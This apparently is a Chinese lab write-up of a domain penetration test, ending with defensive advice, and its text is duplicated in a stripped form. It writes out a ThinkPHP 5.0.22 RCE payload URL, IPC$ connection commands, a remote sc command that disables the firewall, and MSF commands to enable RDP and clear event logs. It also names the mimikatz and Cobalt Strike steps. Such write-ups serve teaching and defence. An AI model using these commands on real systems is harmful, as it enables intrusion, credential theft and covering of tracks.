记一次曲折的域环境渗透测试 III
字数 1499 2025-08-12 11:33:43

域环境渗透测试实战教学文档

一、环境信息

  • 目标系统1:Win7 + phpstudy + thinkphp (5.0.22)
    • IP: 192.168.1.101
    • IP: 192.168.138.136
  • 目标系统2:Win2008
    • IP: 192.168.138.138
  • 攻击机:Kali Linux
    • IP: 192.168.1.128

二、WEB渗透阶段

2.1 信息收集

  1. 网站识别:访问网页发现使用ThinkPHP5框架
  2. 目录扫描
    • 发现存在add.php后台,但无密码
  3. 版本确认
    • 通过错误页面确认版本为ThinkPHP V5.0.22

2.2 漏洞利用

ThinkPHP V5.0.22 RCE漏洞利用

index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

利用步骤

  1. 使用RCE读取add.php文件内容
  2. 解密获得后台密码:admins
  3. 上传Webshell(可选择使用大马或自定义一句话木马)

三、后渗透阶段

3.1 基础信息收集命令

ipconfig /all          # 查看本机IP和域信息
route print           # 打印路由信息
net view              # 查看局域网内其他主机名
arp -a                # 查看ARP缓存
net start             # 查看运行的服务
net share             # 查看共享资源
net share ipc$        # 开启IPC共享
net share c$          # 开启C盘共享
net use \\192.168.xx.xx\ipc$ "" /user:""  # 建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名"  # 建立C盘共享
dir \\192.168.xx.xx\c$\user  # 查看远程主机文件
net config Workstation  # 查看计算机信息
net user              # 查看本机用户
net user /domain      # 查看域用户
net localgroup administrators  # 查看本地管理员组
net view /domain      # 查看域信息
net user 用户名 /domain  # 获取指定域用户信息
net group /domain     # 查看域工作组
net group 组名 /domain  # 查看特定工作组
net time /domain      # 查看域时间服务器
net group "domain admins" /domain  # 查看域管理员
net group "domain computers" /domain  # 查看域内主机
net group "domain controllers" /domain  # 查看域控制器
net group "Enterprise Admins" /domain  # 查看企业管理员组

3.2 内网信息收集

  1. 通过ARP信息发现域名:sun.com
  2. 尝试ping域名确认可达性

3.3 Cobalt Strike利用

  1. 上传后门:通过Webshell上传CS后门
  2. 执行上线:执行后门程序使目标上线CS
  3. 提权操作:使用CS的提权功能
  4. 凭证获取:使用mimikatz获取管理员凭证
    • 获取到administrator和leo的密码
  5. 横向移动:使用psexec登录其他主机(需445端口IPC$共享)

3.4 内网扫描

  1. 端口扫描:使用CS的portscan功能扫描内网
    • 指定网段、端口、协议(ICMP/ARP/none)和线程
  2. 发现域控:通过扫描确认域控制器(DC)位置
  3. 绕过防火墙
    • 创建SMB监听器(防火墙阻止常规端口流量)
    • 使用psexec64进行横向移动
  4. 获取域管理员凭证:成功获取admin密码

3.5 Metasploit框架利用

  1. 生成监听器:在MSF中创建监听
  2. 上传执行:上传MSF后门并执行
  3. 提权:提权至SYSTEM权限
  4. 内网扫描
    • 使用ARP扫描内网
    • 建立内网路由
    • 开启代理(7777端口)
  5. 凭证获取:使用kiwi模块获取密码凭证
  6. 横向移动尝试
    • 直接使用psexec失败(防火墙阻挡)
    • 需要其他方法绕过防火墙

3.6 IPC连接关闭防火墙

标准方法(需要管理员权限):

netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allow
netsh advfirewall firewall delete rule name="f.exe"

实际操作步骤

  1. 与域控建立IPC连接:

    net use \\192.168.138.138\ipc$ dc123.com /user:administrator
    
  2. 使用SC创建计划任务关闭防火墙:

    sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
    sc \\192.168.138.138 start unablefirewall
    

    注:虽然显示失败但实际执行成功

  3. 创建正向监听:由于DC不出网,创建正向监听

  4. 再次尝试psexec:成功上线并获取admin密码

3.7 远程登录

  1. 开启RDP
    run post/windows/manage/enable_rdp
    
  2. Windows远程登录:使用获取的凭证进行RDP登录

3.8 日志清除

MSF日志清除方法

run event_manager -i
run event_manager -c

替代方法:通过服务器管理器清除日志

四、关键知识点总结

  1. ThinkPHP漏洞利用:V5.0.22存在RCE漏洞,可通过特定URL格式执行系统命令
  2. 内网信息收集:ARP、net命令系列是内网信息收集的核心
  3. 凭证获取技术:mimikatz和kiwi是获取Windows凭证的利器
  4. 横向移动方法
    • psexec/psexec64
    • IPC$共享利用
    • 计划任务执行
  5. 防火墙绕过
    • 使用SMB协议绕过端口限制
    • 通过计划任务执行防火墙关闭命令
  6. 权限维持
    • 多种后门上传方式
    • RDP开启
  7. 痕迹清除:事件日志管理

五、防御建议

  1. 及时更新框架和系统补丁
  2. 限制不必要的共享和IPC$连接
  3. 加强防火墙规则,限制内网横向移动
  4. 实施严格的权限管理,特别是域管理员账户
  5. 监控异常的计划任务创建和服务修改
  6. 启用详细的日志记录并定期审计
域环境渗透测试实战教学文档 一、环境信息 目标系统1 :Win7 + phpstudy + thinkphp (5.0.22) IP: 192.168.1.101 IP: 192.168.138.136 目标系统2 :Win2008 IP: 192.168.138.138 攻击机 :Kali Linux IP: 192.168.1.128 二、WEB渗透阶段 2.1 信息收集 网站识别 :访问网页发现使用ThinkPHP5框架 目录扫描 : 发现存在add.php后台,但无密码 版本确认 : 通过错误页面确认版本为ThinkPHP V5.0.22 2.2 漏洞利用 ThinkPHP V5.0.22 RCE漏洞利用 : 利用步骤 : 使用RCE读取add.php文件内容 解密获得后台密码: admins 上传Webshell(可选择使用大马或自定义一句话木马) 三、后渗透阶段 3.1 基础信息收集命令 3.2 内网信息收集 通过ARP信息发现域名: sun.com 尝试ping域名确认可达性 3.3 Cobalt Strike利用 上传后门 :通过Webshell上传CS后门 执行上线 :执行后门程序使目标上线CS 提权操作 :使用CS的提权功能 凭证获取 :使用mimikatz获取管理员凭证 获取到administrator和leo的密码 横向移动 :使用psexec登录其他主机(需445端口IPC$共享) 3.4 内网扫描 端口扫描 :使用CS的portscan功能扫描内网 指定网段、端口、协议(ICMP/ARP/none)和线程 发现域控 :通过扫描确认域控制器(DC)位置 绕过防火墙 : 创建SMB监听器(防火墙阻止常规端口流量) 使用psexec64进行横向移动 获取域管理员凭证 :成功获取admin密码 3.5 Metasploit框架利用 生成监听器 :在MSF中创建监听 上传执行 :上传MSF后门并执行 提权 :提权至SYSTEM权限 内网扫描 : 使用ARP扫描内网 建立内网路由 开启代理(7777端口) 凭证获取 :使用kiwi模块获取密码凭证 横向移动尝试 : 直接使用psexec失败(防火墙阻挡) 需要其他方法绕过防火墙 3.6 IPC连接关闭防火墙 标准方法 (需要管理员权限): 实际操作步骤 : 与域控建立IPC连接: 使用SC创建计划任务关闭防火墙: 注:虽然显示失败但实际执行成功 创建正向监听 :由于DC不出网,创建正向监听 再次尝试psexec :成功上线并获取admin密码 3.7 远程登录 开启RDP : Windows远程登录 :使用获取的凭证进行RDP登录 3.8 日志清除 MSF日志清除方法 : 替代方法 :通过服务器管理器清除日志 四、关键知识点总结 ThinkPHP漏洞利用 :V5.0.22存在RCE漏洞,可通过特定URL格式执行系统命令 内网信息收集 :ARP、net命令系列是内网信息收集的核心 凭证获取技术 :mimikatz和kiwi是获取Windows凭证的利器 横向移动方法 : psexec/psexec64 IPC$共享利用 计划任务执行 防火墙绕过 : 使用SMB协议绕过端口限制 通过计划任务执行防火墙关闭命令 权限维持 : 多种后门上传方式 RDP开启 痕迹清除 :事件日志管理 五、防御建议 及时更新框架和系统补丁 限制不必要的共享和IPC$连接 加强防火墙规则,限制内网横向移动 实施严格的权限管理,特别是域管理员账户 监控异常的计划任务创建和服务修改 启用详细的日志记录并定期审计